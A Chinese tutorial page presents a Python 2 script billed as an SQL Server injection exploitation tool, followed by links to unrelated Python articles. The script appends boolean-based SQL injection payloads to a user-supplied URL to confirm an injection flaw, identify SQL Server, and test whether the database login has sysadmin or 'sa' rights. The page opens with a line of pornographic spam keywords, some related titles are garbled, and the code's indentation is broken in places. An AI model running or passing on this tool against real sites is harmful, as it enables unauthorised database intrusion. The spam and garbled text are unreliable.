亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Python編寫檢測數據庫SA用戶的方法

 更新時間:2014年07月11日 10:45:55   投稿:shichen2014  
這篇文章主要介紹了Python編寫檢測數據庫SA用戶的方法,需要的朋友可以參考下

本文講述一個用Python寫的小程序,用于有注入點的鏈接,以檢測當前數據庫用戶是否為sa,詳細代碼如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!這個URL是有注入漏洞的!n" 
  print "[信息]現在判斷數據庫是否是SQL Server,請耐心等候....."  
  is_SQLServer() 
  else: 
  print "[錯誤]你確定這個URL能用?換個別的試試吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[錯誤]數據庫好像不是SQL Server的!n" 
  else: 
  print "[信息]確認是SQL Server數據庫!n" 
  print "[信息]開始檢測當前數據庫用戶權限,請耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當前數據庫用戶不具有sysadmin權限!n" 
  else:  
    print "[信息]當前數據庫用戶具有sysadmin權限!n" 
    print "[信息]檢測當前用戶是不是SA,請耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當前數據庫用戶不是SA!n" 
  else:  
    print "[信息]當前數據庫用戶是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!nURL:')  
if url == '':  
  print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"  
  exit(1)  
 
judge = raw_input("[信息]請?zhí)峁┮粋€判斷字符串.n判斷字符串:")  
if judge == '':  
  print "[錯誤]判斷字符串不能為空!"  
  exit(1)  
 
is_sqlable()

相關文章

  • Python利用PyPDF2庫處理PDF文件的基本操作

    Python利用PyPDF2庫處理PDF文件的基本操作

    PyPDF2是一個Python庫,用于處理PDF文件,包括合并、分割、旋轉和提取文本等操作,它是一個功能強大且靈活的工具,可用于自動化處理PDF文件,適用于各種應用,從文檔管理到數據分析,本文將深入介紹PyPDF2庫,掌握如何利用它來處理PDF文件,需要的朋友可以參考下
    2023-11-11
  • Python創(chuàng)建高強度密碼生成工具方法實例

    Python創(chuàng)建高強度密碼生成工具方法實例

    這篇文章主要為大家介紹了Python創(chuàng)建高強度密碼生成工具方法實例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-12-12
  • Python在線運行代碼助手

    Python在線運行代碼助手

    Python代碼運行助手可以讓你在線輸入Python代碼,然后通過本機運行的一個Python腳本來執(zhí)行代碼
    2016-07-07
  • Python中迭代器的創(chuàng)建與使用詳解

    Python中迭代器的創(chuàng)建與使用詳解

    Python中的迭代器是一個對象,用于迭代可迭代對象,如列表,元組,字典和集合,這篇文章主要為大家介紹了Python中迭代器的創(chuàng)建與使用,需要的可以參考下
    2023-08-08
  • 詳解python的argpare和click模塊小結

    詳解python的argpare和click模塊小結

    這篇文章主要介紹了詳解python的argpare和click模塊小結,小編覺得挺不錯的,現在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2019-03-03
  • Python生成器與迭代器詳情

    Python生成器與迭代器詳情

    這篇文章主要介紹了Python生成器與迭代器,現在可以通過生成器來直接創(chuàng)建一個列表,是由于內存的限制,表的容量肯定是有限的,果我們需要一個包含幾百個元素的列表,是每次訪問的時候只訪問其中的幾個,剩下的元素不使用就很浪費內存空間,下面來了解具體內容
    2021-11-11
  • python如何利用中心坐標繪制矩形

    python如何利用中心坐標繪制矩形

    這篇文章主要介紹了python如何利用中心坐標繪制矩形問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • 基于logstash實現日志文件同步elasticsearch

    基于logstash實現日志文件同步elasticsearch

    這篇文章主要介紹了基于logstash實現日志文件同步elasticsearch,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-08-08
  • Win10下配置tensorflow-gpu的詳細教程(無VS2015/2017)

    Win10下配置tensorflow-gpu的詳細教程(無VS2015/2017)

    這篇文章主要介紹了Win10下配置tensorflow-gpu(無VS2015/2017),本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-07-07
  • Python擴展內置類型詳解

    Python擴展內置類型詳解

    這篇文章主要為大家詳細介紹了Python擴展內置類型的相關資料,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-03-03

最新評論